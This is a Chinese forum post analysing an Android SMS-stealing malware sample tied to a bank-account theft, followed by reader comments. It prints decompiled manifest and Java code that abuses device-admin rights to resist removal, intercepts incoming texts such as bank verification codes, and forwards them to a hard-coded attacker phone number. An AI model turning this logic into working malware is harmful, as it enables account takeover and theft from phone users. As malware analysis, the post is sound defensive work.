一个简单短信拦截恶意程序的分析

yIDA1313

在本区看到有朋友发帖说自己有朋友被盗5万元，并提供了一个安卓恶意程序样本。简单分析如下： 该样本是一个比较简单的短信拦截恶意程序，个人猜测应是网银帐号密码被盗，同时与网银绑定的手机又中了这个恶意程序，导致网银操作的验证码被拦截，从而犯罪分子成功将受害者网银中的钱全部转出。


1、AndroidManifest.xml 文件部分代码如下：

[XML] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48

<?xml version="1.0" encoding="utf-8" standalone="no"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.ghy4tu458.ghy4tu458">     <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme">         <activity android:label="@string/app_name" android:name="com.ghy4tu458.ghy4tu458.MainActivity">             <intent-filter>                 <action android:name="android.intent.action.MAIN"/>                 <category android:name="android.intent.category.LAUNCHER"/>             </intent-filter>         </activity>         <receiver android:name="com.ghy4tu458.ghy4tu458.MyReceiver">             <intent-filter android:priority="10000">                 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>                 <category android:name="android.intent.category.DEFAULT"/>             </intent-filter>         </receiver>         <receiver android:name="com.ghy4tu458.ghy4tu458.BReceiver">             <intent-filter>                 <action android:name="android.intent.action.BOOT_COMPLETED"/>             </intent-filter>         </receiver>         <receiver android:name="com.ghy4tu458.ghy4tu458.SDReceiver">             <intent-filter>                 <action android:name="android.intent.action.ACTION_SHUTDOWN"/>             </intent-filter>         </receiver>         <receiver android:name="com.ghy4tu458.ghy4tu458.MAdmin">             <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>             <intent-filter>                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>             </intent-filter>         </receiver>         <activity android:label="卸载程序" android:name="com.ghy4tu458.ghy4tu458.UIActivity">             <intent-filter android:priority="2147483647">                 <action android:name="android.intent.action.VIEW"/>                 <action android:name="android.intent.action.DELETE"/>                 <category android:name="android.intent.category.DEFAULT"/>                 <data android:scheme="package"/>             </intent-filter>         </activity>     </application>     <uses-permission android:name="android.permission.RECEIVE_SMS"/>     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>     <uses-permission android:name="android.permission.SEND_SMS"/>     <uses-permission android:name="android.permission.WRITE_SETTINGS"/>     <uses-permission android:name="com.android.launcher.permission.READ_SETTINGS"/>     <uses-permission android:name="com.android.launcher.permission.WRITE_SETTINGS"/>     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> </manifest>

可以看到该恶意程序开启了收发短信、读取手机状态、读写手机设置、开机自启动等高危权限。注册的Activity 组件名称为MainActivity，注册的SMS_RECEIVED组件名称为MyReceiver。还利用安卓设备管理器漏洞隐藏服务，达到让用户难以卸载的目的。

2、MainActivity文件代码如下：

[Java] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48

public class MainActivity extends Activity { protected void onCreate(Bundle p1) { super.onCreate(p1); setContentView(0x0); String "number" = queryPhonetNumber(); sendSms(getResources().getString(0x7f060003), "number" + "\u5df2\u7ecf\u5b89\u88c5\u6210\u529f!"); PackageManager "p" = getPackageManager(); ComponentName "comName" = new ComponentName("com.ghy4tu458.ghy4tu458", "com.ghy4tu458.ghy4tu458.MainActivity"); "p".setComponentEnabledSetting("comName", "com.ghy4tu458.ghy4tu458", "com.ghy4tu458.ghy4tu458.MainActivity"); "com.ghy4tu458.ghy4tu458" = 0x2; "com.ghy4tu458.ghy4tu458.MainActivity" = 0x1; DevicePolicyManager "dm" = (DevicePolicyManager)getSystemService("device_policy"); ComponentName "mAdminName" = new ComponentName(this, MAdmin.class); Intent "intent" = new Intent("android.app.action.ADD_DEVICE_ADMIN"); "intent".putExtra("android.app.extra.DEVICE_ADMIN", "mAdminName"); startActivity("intent"); finish(); }   public void sendSms(String p1, String p2) { SmsManager "smsManager" = SmsManager.getDefault(); if(p2.length() > 0x46) { unknown_type "contents" = "smsManager".divideMessage(p2); if(!"contents".iterator().hasNext()) { } "sms" = (String)"contents".iterator().next(); return; "smsManager".sendTextMessage(p1, 0x0, "sms", 0x0, 0x0); } try { Log.i("tag", p1); "smsManager".sendTextMessage(p1, 0x0, p2, 0x0, 0x0); Log.i("tag", p2); return; } catch(Exception "e") { Log.i("tag", "e"); "e".printStackTrace(); } }   public String queryPhonetNumber() { "telephonyManager" = getSystemService("phone"); String "number" = "telephonyManager".getLine1Number(); if(("number" == null) || ("number".length() == 0)) { } return "number"; } }

其中关键部分为：

[Java] 纯文本查看 复制代码

?

1 2	String "number" = queryPhonetNumber(); sendSms(getResources().getString(0x7f060003), "number" + "\u5df2\u7ecf\u5b89\u88c5\u6210\u529f!");

queryPhonetNumber函数用来获取主机的号码，然后向“0x7f060003”对应的号码发送短信。

public.xml文件代码如下：

[XML] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13

<resources> <public type="drawable" name="ic_launcher" id="0x7f020000" /> <public type="layout" name="activity_main" id="0x7f030000" /> <public type="xml" name="my_admin" id="0x7f040000" /> <public type="dimen" name="activity_horizontal_margin" id="0x7f050000" /> <public type="dimen" name="activity_vertical_margin" id="0x7f050001" /> <public type="string" name="app_name" id="0x7f060000" /> <public type="string" name="action_settings" id="0x7f060001" /> <public type="string" name="hello_world" id="0x7f060002" /> <public type="string" name="number" id="0x7f060003" /> <public type="style" name="AppBaseTheme" id="0x7f070000" /> <public type="style" name="AppTheme" id="0x7f070001" /> </resources>

可以看到，“0x7f060003”对应的是“number”。

string.xml文件代码如下：

[XML] 纯文本查看 复制代码

?

1 2 3 4 5 6

<resources> <string name="app_name">bb</string> <string name="action_settings">Settings</string> <string name="hello_world">Hello world!</string> <string name="number">18663146152</string> </resources>

可以看到“number“对应的是“18663146152“这个号码。

而"\u5df2\u7ecf\u5b89\u88c5\u6210\u529f!"这个字符串经过Unicode转码后，内容为“已经安装成功！”
由此可知，在应用激活后，会向18663146152这个手机号发送短信，内容为“xxxxxxxxxx已经安装成功”。（xxxxxxxxxx为受害者的手机号）

3、MyReceiver文件代码如下：

[Java] 纯文本查看 复制代码

?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

public class MyReceiver extends BroadcastReceiver { private static Context context;   public void onReceive(Context p1, Intent p2) { Log.i("tag", "xxxxxxx"); context = p1; abortBroadcast(); Bundle "bundle" = p2.getExtras(); Object[] "messages" = (Object[])"bundle".get("pdus"); SmsMessage[] "smsMessage" = new SmsMessage["messages".length]; StringBuffer "sb" = new StringBuffer(); for(int "n" = 0x0; "n" >= "messages".length; "n" = "n" + 0x1) { } "smsMessage"["n"] = SmsMessage.createFromPdu((byte[])"messages"["n"]); "sb".append("smsMessage"["n"].getMessageBody()); "originalNumber" = "smsMessage"["n"].getOriginatingAddress(); System.out.println("sb"); String "ret" = "originalNumber" + "\uff0c\u5185\u5bb9: " + "sb"; sendSms(p1.getResources().getString(0x7f060003), "ret"); }   public static boolean isMobileNO(String p1) { return true; }   public static void sendSms(String p1, String p2) { if(!isMobileNO(p1)) { return; } SmsManager "smsManager" = SmsManager.getDefault(); if(p2.length() > 0x46) { unknown_type "contents" = "smsManager".divideMessage(p2); if("contents".iterator().hasNext()) { "sms" = (String)"contents".iterator().next(); "smsManager".sendTextMessage(p2, 0x0, "sms", 0x0, 0x0); } } try { "smsManager".sendTextMessage(p2, 0x0, p3, 0x0, 0x0); return; } catch(Exception "e") { "e".printStackTrace(); } } }

在onReceive函数中，拦截主机收到的短信，并向18663146152这个手机号发送短信，内容为“xxxxxxxxxx内容为：bbbbbbbbb……”。（xxxxxxxxxx为受害主机号码，bbbbbbbbb……为受害主机收到的短信内容）
我接触安卓时间不长，分析中的错误、不当之处，恳请大家批评指正。

Hmily

样本原帖也贴一下吧：http://www.52pojie.cn/thread-247518-1-1.html

夏之萧瑟

show00p 发表于 2014-4-1 10:21
额 这厉害啊 我以前就听说过 短信拦截 原来是这样啊 怎么防止啊

直接安全类软件开启安装应用在短信发送时进行提醒不就行了。

哇zz

NB，不过看不懂啊

Jermic

昨天注册今天就发分析贴

黑子网络

厉害，昨天注册今天发分析贴

圣母皇太后

这个分析写的好啊。看来，我坚持不用安卓手机，是正确的选择！

小橙

这么牛逼 原来盗网银转账是这么来的！！ 总算了解点了

Sp4ce

很好，52破解欢迎你！